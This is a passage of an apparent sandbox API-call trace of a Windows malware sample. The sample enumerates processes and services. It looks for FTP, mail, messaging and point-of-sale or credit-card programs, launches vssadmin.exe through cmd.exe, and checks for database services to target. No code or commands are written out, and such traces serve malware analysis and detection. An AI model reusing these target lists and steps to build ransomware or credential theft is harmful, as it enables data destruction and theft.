th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0047.186] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0047.186] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0047.187] lstrlenW (lpString="zinc.exe") returned 8 [0047.187] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0047.188] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0047.188] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0047.287] lstrlenW (lpString="construction_rice.exe") returned 21 [0047.287] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0047.288] lstrlenW (lpString="mask.exe") returned 8 [0047.288] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0047.289] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0047.289] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0047.290] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0047.290] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0047.291] lstrlenW (lpString="curve standing.exe") returned 18 [0047.291] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0047.292] lstrlenW (lpString="3dftp.exe") returned 9 [0047.292] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0047.293] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0047.293] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0047.294] lstrlenW (lpString="alftp.exe") returned 9 [0047.294] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0047.295] lstrlenW (lpString="barca.exe") returned 9 [0047.295] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0047.296] lstrlenW (lpString="bitkinex.exe") returned 12 [0047.296] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0047.297] lstrlenW (lpString="coreftp.exe") returned 11 [0047.297] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0047.298] lstrlenW (lpString="far.exe") returned 7 [0047.298] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0047.299] lstrlenW (lpString="filezilla.exe") returned 13 [0047.299] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0047.300] lstrlenW (lpString="flashfxp.exe") returned 12 [0047.300] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0047.301] lstrlenW (lpString="fling.exe") returned 9 [0047.301] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0047.302] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0047.302] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0047.303] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0047.303] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0047.304] lstrlenW (lpString="icq.exe") returned 7 [0047.304] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0047.305] lstrlenW (lpString="leechftp.exe") returned 12 [0047.305] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0047.307] lstrlenW (lpString="ncftp.exe") returned 9 [0047.307] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0047.308] lstrlenW (lpString="notepad.exe") returned 11 [0047.308] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0047.310] lstrlenW (lpString="operamail.exe") returned 13 [0047.310] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0047.311] lstrlenW (lpString="pidgin.exe") returned 10 [0047.311] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0047.313] lstrlenW (lpString="scriptftp.exe") returned 13 [0047.313] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0047.314] lstrlenW (lpString="skype.exe") returned 9 [0047.314] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0047.316] lstrlenW (lpString="smartftp.exe") returned 12 [0047.316] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0047.317] lstrlenW (lpString="thunderbird.exe") returned 15 [0047.317] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0047.319] lstrlenW (lpString="totalcmd.exe") returned 12 [0047.319] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0047.320] lstrlenW (lpString="trillian.exe") returned 12 [0047.320] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0047.597] lstrlenW (lpString="webdrive.exe") returned 12 [0047.597] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0047.598] lstrlenW (lpString="whatsapp.exe") returned 12 [0047.598] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0047.600] lstrlenW (lpString="winscp.exe") returned 10 [0047.600] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0047.601] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0047.601] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0047.603] lstrlenW (lpString="active-charge.exe") returned 17 [0047.603] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0047.604] lstrlenW (lpString="accupos.exe") returned 11 [0047.604] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0047.606] lstrlenW (lpString="afr38.exe") returned 9 [0047.606] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0047.607] lstrlenW (lpString="aldelo.exe") returned 10 [0047.607] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0047.608] lstrlenW (lpString="ccv_server.exe") returned 14 [0047.609] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0047.610] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0047.610] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0047.612] lstrlenW (lpString="creditservice.exe") returned 17 [0047.612] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0047.613] lstrlenW (lpString="edcsvr.exe") returned 10 [0047.613] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0047.615] lstrlenW (lpString="fpos.exe") returned 8 [0047.615] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0047.616] lstrlenW (lpString="isspos.exe") returned 10 [0047.616] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0047.617] lstrlenW (lpString="mxslipstream.exe") returned 16 [0047.617] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0047.618] lstrlenW (lpString="omnipos.exe") returned 11 [0047.618] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0047.620] lstrlenW (lpString="spcwin.exe") returned 10 [0047.620] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0047.621] lstrlenW (lpString="spgagentservice.exe") returned 19 [0047.621] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0047.622] lstrlenW (lpString="utg2.exe") returned 8 [0047.622] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0047.623] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0047.623] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0047.624] lstrlenW (lpString="increases.exe") returned 13 [0047.624] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.626] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.626] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.627] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.627] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0047.628] lstrlenW (lpString="dllhost.exe") returned 11 [0047.628] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0047.629] lstrlenW (lpString="dllhost.exe") returned 11 [0047.629] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0047.630] lstrlenW (lpString="driver.exe") returned 10 [0047.630] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.631] lstrlenW (lpString="cmd.exe") returned 7 [0047.631] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.632] lstrlenW (lpString="conhost.exe") returned 11 [0047.632] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.633] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.633] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0047.634] CloseHandle (hObject=0x1cc) returned 1 [0048.797] Sleep (dwMilliseconds=0x1f4) [0049.396] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0750 [0049.397] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0049.399] GetLastError () returned 0xea [0049.399] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x134c) returned 0x60e1c0 [0049.399] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e1c0, cbBufSize=0x134c, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e1c0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0049.401] CloseServiceHandle (hSCObject=0x35f0750) returned 1 [0049.401] lstrlenW (lpString="Appinfo") returned 7 [0049.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0049.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0049.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0049.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0049.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0049.401] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0049.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0049.402] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0049.402] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0049.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0049.402] lstrlenW (lpString="AudioSrv") returned 8 [0049.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0049.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0049.402] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0049.402] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0049.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0049.402] lstrlenW (lpString="BFE") returned 3 [0049.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0049.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0049.402] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0049.402] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0049.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0049.402] lstrlenW (lpString="CryptSvc") returned 8 [0049.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0049.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0049.402] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0049.402] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0049.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0049.402] lstrlenW (lpString="CscService") returned 10 [0049.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 